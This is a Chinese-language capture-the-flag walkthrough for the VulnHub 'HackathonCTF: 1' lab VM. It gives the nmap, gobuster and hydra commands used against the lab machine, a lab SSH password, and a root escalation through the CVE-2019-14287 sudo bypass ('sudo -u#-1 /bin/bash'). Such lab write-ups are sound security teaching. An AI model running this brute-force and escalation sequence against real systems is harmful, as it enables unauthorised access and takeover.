HackathonCTF: 1
HackathonCTF: 1
来自 <https://www.vulnhub.com/entry/hackathonctf-1,591/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.150
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.150
4,尝试匿名访问ftp服务器
ftp 192.168.23.150
再尝试访问80端口的http服务
应该是因为首页文件被禁止访问,扫描其子目录试试
gobuster dir -u http://192.168.23.150/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.23.150/robots.txt
robots.txt中得到提示
暴力破解7223端口ssh服务的账户密码
5,需要一步步找到账户密码,首先得到了用户名为test
http://192.168.23.150/sudo.html
view-source:http://192.168.23.150/ftc.html
用python把这些ascii码转换成相应的字母或者符号
s = "#117#115#101#32#114#111#99#107#121#111#117#46#116#120#116" s1 = s.split('#') s1.pop(0) # 移除空字符串(因第一个字符是#) for i in s1: print(chr(int(i)), end="") # 移除多余的//end="" |
6,确定下来使用rockyou.txt,开始爆破
hydra -l test -P /usr/share/wordlists/rockyou.txt ssh://192.168.23.150 -s 7223
成功爆破到该用户账户密码jordan23
7,ssh登录一下
ssh test@192.168.23.150 -p 7223
信息收集一下
然后再尝试提权或者横向移动
ctf用户可以任意使用sudo,那么就需要我变成这个用户以实现提权
8,分析发现sudo这个命令本身的版本过低,也是可以提权操作
sudo -u#-1 id -u
-u#-1 触发漏洞,把身份切换成 UID=0。输出应该是:0,表示已经是 root 用户。
sudo -u#-1 /bin/bash
直接启动一个 bash shell。因为 sudo 把 UID=4294967295 解析成 root (0),最终就是 root 权限的 shell。
漏洞原理(CVE-2019-14287)
- 在 sudo 配置中,可能有一条规则允许用户以 任意 UID 身份运行命令,比如:
user ALL=(ALL, !root) ALL
这里表示:用户可以切换成任何人,但不能切换成 root。 - 但是 sudo 的 UID 解析存在 bug:
- 当你指定 -u#-1 时,sudo 会把它当成 UID 4294967295(无符号整数溢出)。
- 内部转换时,这个值又会被映射为 0(root 的 UID)。
- 结果:攻击者就能绕过 !root 限制,直接获取 root 身份。